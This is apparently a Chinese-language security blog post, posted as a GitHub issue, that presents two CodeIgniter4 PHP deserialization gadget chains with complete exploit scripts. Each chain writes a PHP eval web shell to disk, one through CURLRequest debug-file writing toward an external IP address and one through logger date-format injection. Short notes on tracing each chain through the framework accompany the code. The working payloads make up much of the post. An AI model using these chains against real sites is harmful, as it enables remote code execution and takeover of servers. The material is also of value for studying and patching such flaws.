Aaisui / Blog

Aaisui的博客。
5 stars 0 forks source link

CodeIgniter4 反序列化 #13

Open Aaisui opened 3 years ago

Aaisui commented 3 years ago

这个比较安全,只有两个写文件的地方,如果配置正确不会出现错误的- - 我觉得这两个链子主要是给我提供了要对报错和request敏感一点.. 第一个: exp:

<?php

namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct()
        {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
        }
    }
}

namespace CodeIgniter\Session\Handlers{

    use CodeIgniter\HTTP\CURLRequest;

    class MemcachedHandler{
        protected $memcached;
        protected $lockKey = "http://81.69.201.65/test.php";
        public function __construct()
        {
            $this->memcached = new CURLRequest();
        }
    }
}

namespace CodeIgniter\HTTP{
    class CURLRequest {
        protected $method;
        protected $config = [
            'timeout'         => 0.0,
            'connect_timeout' => 150,
            'debug'           => 'shell.php',
            'verify'          => true,
            'auth'            =>['<?php eval($_POST[0]);?>','<?php eval($_POST[0]);?>']
        ];
        public function __construct()
        {
            $this->method = "GET";
        }
    }
}

namespace {

    use CodeIgniter\Cache\Handlers\RedisHandler;

    $a = new RedisHandler();
    echo urlencode(serialize($a));
}

全局下好用的起点只有这个。 图片

搜索close,找到MemachedHandler.php 图片 发现delete函数可控,全局搜索delete函数,找到request函数,跟过去其实发现url可控。不过对于我们其实没有影响=。=

图片

重点在send函数这里,再跟进option设置里面 图片

发现debug模式情况下可以open文件并写入文件,且文件名可控,那么我们控制其为*.php 图片

观察写入的内容,测了一下其实这里的内容不会被urlencode 图片

直接生成payload打过去。 图片

Aaisui commented 3 years ago

第二条很麻烦,这里记录一下,学到了date注入。

exp:

<?php

namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct()
        {
            $this->redis = new \CodeIgniter\Session\Handlers\RedisHandler();
        }
    }
}

namespace CodeIgniter\Session\Handlers{

    use CodeIgniter\Log\Logger;

    class RedisHandler{
        protected $redis;
        protected $logger;
        public function __construct()
        {
            $this->redis = new \Redis();
            $this->logger = new Logger();
        }
    }

}
namespace CodeIgniter\Log\Handlers{
    abstract class BaseHandler{
        protected $handles = ['error'];
    }

    class FileHandler extends BaseHandler {
        protected $fileExtension;
        protected $path='./';
        protected $filePermissions=777;
        public function __construct()
        {
            $this->fileExtension = "1/../b.php";
        }
    }
}

namespace CodeIgniter\Log{

    use CodeIgniter\Log\Handlers\FileHandler;

    class Logger{

        protected $loggableLevels = ['error'];
        protected $handlerConfig = ['FileHandler'=>'a'];
        protected $dateFormat;
        protected $handles;
        public function __construct()
        {
             $this->handlers = [
                'FileHandler'=>new FileHandler()
             ];
            $this->dateFormat='\<\?\p\h\p\ \e\v\a\l\(\$\_\P\O\S\T\[\"0"\]\)\;\?\>';
        }
    }
}

namespace {

    use CodeIgniter\Cache\Handlers\RedisHandler;

    $redisHandle = new RedisHandler();
    echo urlencode(serialize($redisHandle));
}

起点和上面是一样的,关键在于找到close方法,这里有个思路又拓展了我的想法(报错的也是可以尝试着去看的,并且报错有可能会被日志记录下来,这样的话可以看看能不能控制!

图片 这样的话全局找error方法,找到Logger.php 图片 继续跟进,然后有很长很大的一段=。=这里都是可以控制的,就是需要耐心【真的】

图片

下面这个函数他是自己返回自己,所以不影响我们的操作,还是$handler的的handle方法 图片

之后是date注入控制写入内容,得到shell=。= 图片